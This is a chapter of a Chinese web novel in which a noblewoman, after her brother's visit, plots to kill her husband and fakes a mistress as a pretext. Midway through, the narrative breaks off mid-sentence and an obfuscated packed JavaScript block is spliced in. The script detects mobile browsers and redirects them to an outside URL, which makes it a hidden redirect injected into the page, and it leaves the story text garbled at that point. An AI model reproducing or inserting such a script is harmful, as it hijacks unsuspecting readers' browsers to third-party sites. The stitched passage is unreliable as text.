琢磨了没一会儿,听见一道打趣声:“谁家小美人在这对窗惆怅呢?好生寂寥啊。” 詹殊夜抬头,见庭院中一个相貌俊美、体态修长的年轻男人朝她走来,略显狭长的眉眼带着戏谑的笑一般,看着十分讨打。 她瞧了一眼,看向跟在后面的云霜。 云霜笑道:“怕人多会在身上沾了桂花味道,公子天刚亮就来了,一直在外面等小姐你醒来。” 说话间,詹雪杭已经走近了,他不进屋,而是走向窗外,边走边道:“可不是嘛,遮得比出嫁的新娘子还严实,幸好我是乘马车来的,否则非得被夜巡官兵当做毛贼抓起来。” 云霜和屋里的侍女听了,都哧哧笑起。 只有詹殊夜不笑,板着脸问:“来干嘛?” “来干嘛?”詹雪杭一脸稀奇地学着詹殊夜的语气,大惊小怪道,“光听语气,我以为是蓟长凌在与我说话。小妹,你是不是在国公府待久了,沾上蓟长凌的味了?” 话音刚落,就被詹殊夜在手臂上打了一下。 “小气劲儿……” 詹殊夜的手又扬了起来。 “行行……”詹雪杭服软,抓着她的手按下去,道,“听说我妹妹不开心,我来看看是怎么回事。” 詹殊夜知道他为什么来了,看向云霜。 “是娘让她看着你的……云霜,去给我沏壶茶。” 云霜应了声,领着侍女们下去了。 等房间和庭院里都没人了,詹雪杭才正经了些,轻声问:“蓟长凌真欺负你了?” 詹殊夜想杀蓟长凌,但不会在这事上胡说,摇头道:“是个误会。” 詹雪杭松了口气,道:“既然是误会就不要想了,再过几个月太后丧期就满一年了,到时候你就与蓟长凌和离,大哥接你回家去……” 自从詹殊夜嫁过来,詹雪杭隔三差五就会来看看,他知道沉香阁与国公府互不干扰,但有时候视而不见也是一种伤害。 到底是国公府的外人,寄人篱下,终究是不自在的。 且,自从詹殊夜与蓟长凌成亲,她那些闺中好友为了避免在詹府、国公府之间难做,鲜少邀请她出去游玩了。 入府探望?更是从来没有。 詹雪杭觉得妹妹很孤独。 再有蕲州的事情之后,不知道有多少人把贼首逃窜的过失算到詹殊夜身上…… “回家就不用看他们脸色了,再也不用受委屈了……” 詹雪杭说得满腹心酸,詹殊夜却听得一心二用,胡乱“嗯”了一声,她在心中暗道一定要在和离前解决了蓟长凌。 詹雪杭见妹妹不说话,以为她在委屈,又道:“蕲州的事情我与爹都在秘密调查,这事急不来,你不要怕……云霜说点了安神香就能睡着,香一灭就醒了?是不是梦见被贼首挟持的事了?” 詹殊夜十七年的人生中遭遇过最可怖的事情就是被贼首劫持,詹雪杭从云霜那里得知她的噩梦与蓟长凌相关,理所应当地认为她梦见的是那日蓟长凌没有选择救她,而是眼看着她被杀害。 不是。 那件事对詹殊夜来说已经过去了,让她夜不能寐的只有在华画春堂外听见的恶毒诅咒,与那句“洗脚贱婢”。 她常翻的那册话本子里说,那个六十七岁的老员外纸醉金迷,每年冬日最喜欢做的就是让侍女服侍他洗脚,二八少女细腻柔滑的小手搓着他那双干瘪粗糙的脚,这感受让他飘飘欲仙。 话本子而已,詹殊夜看过就忘了,直到某一天她梦见自己跪在蓟长凌脚边,服侍他洗完脚,被他当做擦脚巾来用。 洗脚贱婢…… “是!”詹殊夜狠狠一眨眼,大声回答兄长,“我梦见蓟长凌为了抓贼首,一箭将我射穿!” 詹雪杭拍着她手背道:“梦都是相反的。” “我知道随口一说和梦境都不能当真,可是我控制不住,我总是想,越想,越觉得它们终有一日会发生……” 詹雪杭对妹妹的情绪束手无策。 他想或许是因为妹妹总闷在屋子里,情绪压抑,带她出去走动走动,兴许能有好转。可现在城里城外,到处都飘着桂花…… 静了会儿,他道:“方府出了点事儿,现在正乱,我让人去接熙悦,让她陪你在这里住一段日子好不好?” 方府人丁兴旺,姻亲关系很是杂乱,其中府长房儿媳是蓟长凌生母的胞妹,二房却与詹殊夜舅舅家结了亲。 方熙悦这一辈的孩子,既是蓟长凌的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329804|152404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹表弟,又与詹家有点亲戚关系。 国公府里没个女孩子,蓟长凌又冷冰冰的难以接近,方熙悦才十岁大,爱玩,更喜欢长得漂亮的詹殊夜和爱与人说笑的詹雪杭。 往日里见了詹家的人就比见了蓟长凌亲切,在蓟长凌与詹殊夜成亲后,每次到国公府,她都更愿意歇在沉香阁。 她年岁小,来沉香阁小住几日无可厚非。 詹殊夜很喜欢方熙悦,但她最近被正在秘密谋划的事情占据了全部心神,不想有人过来打搅。 她没直接回答,而是好奇问:“方府出了什么事?” 詹雪杭道:“方檬在外面养了个红颜知己,被他夫人发现了,两人起了争执,方夫人用花瓶在他脑袋上砸了个血窟窿。” 詹殊夜:“……啊?” 詹雪杭看见她不可思议的表情,笑了下,双臂支着窗棱道:“算他命大,没死,不过得养上好几个月才能恢复。不是什么光彩的事情,没往外声张,你当不知道就好。” “四夫人……” “也没事。”詹雪杭道,“怎么说的来着?哦对,夫妻打架,都是小事。” 知道妹妹出不了门,闷的慌,詹雪杭特意把这些天京城里发生的大小事都说了一遍,在沉香阁留了小半日才离开。 他走后,詹殊夜一个人沉思了许久。 她想着方府的事情,回忆起那日云霜的劝说,她说蓟长凌若是没死,两家恩怨会加重,若是死了,她得给他哭坟。 后面这句话点醒了詹殊夜。 她和蓟长凌是夫妻,所以才要给他哭坟! 使唤侍卫侍女去杀蓟长凌,得没得手,他们都一定是活不成的,且这是用了詹家的人手,她爹娘难逃其咎。 相反,若是她因为夫妻间的事亲自与蓟长凌动手,蓟长凌死了最好,没死,事后追究起来,可以说是夫妻恩怨,换个说法,就是夫妻俩关起门来打架。 伤了人,那是失手。 夫妻打架,都是小事。 很好,现在她就缺少一个动手的理由了。 “红颜知己……”詹殊夜喊来雨晴,问,“蓟长凌有没有什么红颜知己?” 雨晴想了想,道:“没有吧?他是夭矫不群,可他性子讨厌,谁会喜欢他?那些个夫人小姐更喜欢咱们家公子……” “哎呀!我问他,只说他就好。” “那应当是没有的,没听说过。”雨晴说着凑近,小声道,“他们自己府里的丫头都不爱往他那去呢,上回我还瞧见有人被他吓哭了……” 詹殊夜先失望,再振奋。 没关系,她可以帮蓟长凌找一个! 蓟长凌瞒着她养了红颜知己,一不敬太后,不把皇室放在眼中,二轻慢了她,视詹府为无物。她怒火攻心,才与蓟长凌动手的!